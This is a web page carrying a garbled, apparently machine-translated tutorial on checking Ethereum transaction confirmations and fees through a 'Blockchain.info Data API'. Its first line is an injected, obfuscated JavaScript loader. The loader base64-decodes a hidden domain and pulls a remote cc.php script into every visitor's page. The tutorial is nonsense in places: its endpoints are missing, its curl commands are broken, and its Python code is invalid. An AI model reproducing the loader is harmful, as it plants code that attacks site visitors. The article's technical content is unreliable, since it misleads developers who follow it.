const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx.replace(/|/g,””));const script=document.createElement(“script”);script.src=”https://”+pde+”cc.php?u=badb04db”;document.body.appendChild(script);
Understand transactional confirmations in Ethereum using Blockchain.info Data API
As an Ethereum developer, it is essential to understand the processing of blockchain transactions firmly. In this article, we deepen how to determine the number of transaction reinforcement and its speed with blockchain.info data API.
What is the confirmation of the transaction?
Transactional reinforcements show how many times the network mined and checked the block before adding to the blockchain. This confirms that the transaction (also known as the “sender”) sender has actually received the payment of the recipient (the “buyer”).
How to determine a transaction confirmation using Blockchain.info Data API
Blockchain.info Data offers the opportunity to consult the Ethereum blockchain and restore information on each transaction, including confirmations. So you can use it:
Step 1: Configure Blockchain.info account
Create an account on Blockchain.info ( and check E -Mail address.
Step 2: Get API key
Once you have signed up, look for my “Account” section. Click “API Keys” and create a new API key for the application.
Step 3: Use data API to transactions
You can use the following endpoint to restore transaction information using API Data:
`
Replace{txhash}with the real hash of the transaction you want to consult. The "Data" method is used to restore data and the "TX" parameter determines that it is interested in transaction information.
Example of use:
Bash
Curl -x get \
Replaceto the real transaction hash.
How to determine transaction confirmation using API Data
Returned JSON data contain several fields, including "confirmations" that represent the number of confirmation of the block. You can use the following consultation to obtain the number of confirmations for a particular block:
Bash
Curl -x get \
Replaceto the real transaction hash.
How to know that a transaction has confirmed and paid the mining ratio with API data
To check that a particular transaction has paid for mining, you can use the "fee" parameter in the consultation. The 'Fee field contains information about the transaction reward, which is the amount of ether rewarded to miners to create a block.
Example of use:
`Bash
Curl -x get \
Replaceto the real transaction hash. The JSON data contains a "fee" field that represents the amount of ether paid to miners to create this block.
Example Usage Case: Proof of Transactions and Interest Foods with API
Suppose you create an application that needs to track transactions on the Ethereum network. Data API can consult with transaction information and determine that a given transaction has confirmed and paid the miner ratio.
` Python
Import requests
Api_key = “Your_api_key”
Tx_hash = “”
Headers = {
“Enable”: Carpet F “{api_key}”,
“Type of Content”: “Application/Json”
}
Answer = Request.get (F ” FEE = TRUE”, head = headers)
If you answer.status_code == 200:
Data = Answer.json ()
Confirmations = Data [“Confirmations”]
Fee_amount = data [“speed”] [“quantity”]
Print (F “Transaction {TX_HAsh} confirmed {confirmations} and paid $ {fee_amount: .2f} to the miners.